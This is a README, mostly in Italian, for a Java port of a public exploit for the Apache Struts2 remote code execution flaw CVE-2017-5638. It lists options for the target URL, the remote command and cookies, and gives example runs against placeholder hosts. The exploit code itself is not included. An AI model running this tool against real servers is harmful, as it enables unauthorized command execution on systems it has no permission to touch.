
Questa è una sorta di porting in Java dell'exploit Python disponibile su: https://www.exploit-db.com/exploits/41570/.
Questa è una sorta di porting in Java dell'exploit Python disponibile su: https://www.exploit-db.com/exploits/41570/.
Questo software è scritto per non avere dipendenze esterne.
Questo strumento è pensato per ingegneri della sicurezza e addetti appsec per valutazioni di sicurezza. Utilizza questo strumento in modo responsabile. Non mi assumo alcuna responsabilità per l'uso che altri fanno di questa applicazione. NON sono responsabile di eventuali danni causati o reati commessi utilizzando questo strumento.
Usage:
java -jar struts2_cve-2017-5638.jar [options]
Description:
Exploiting Apache Struts2 Remote Code Execution (CVE-2017-5638).
Options:
-h, --help
Prints this help and exits.
-u, --url [target_URL]
The target URL where the exploit will be performed.
-cmd, --command [command_to_execute]
The command that will be executed on the remote machine.
--cookies [cookies]
Optional. Cookies passed into the request, i.e. authentication cookies.
-v, --verbose
Optional. Increase verbosity.
java -jar struts2_cve-2017-5638.jar --url "https://vuln1.foo.com/asd" --command ipconfig
java -jar struts2_cve-2017-5638.jar --url "https://vuln2.foo.com/asd" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
java -jar struts2_cve-2017-5638.jar --url "https://vuln3.foo.com/asd" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
Questo progetto è concesso in licenza con licenza MIT - consultare il file LICENSE.txt per i dettagli.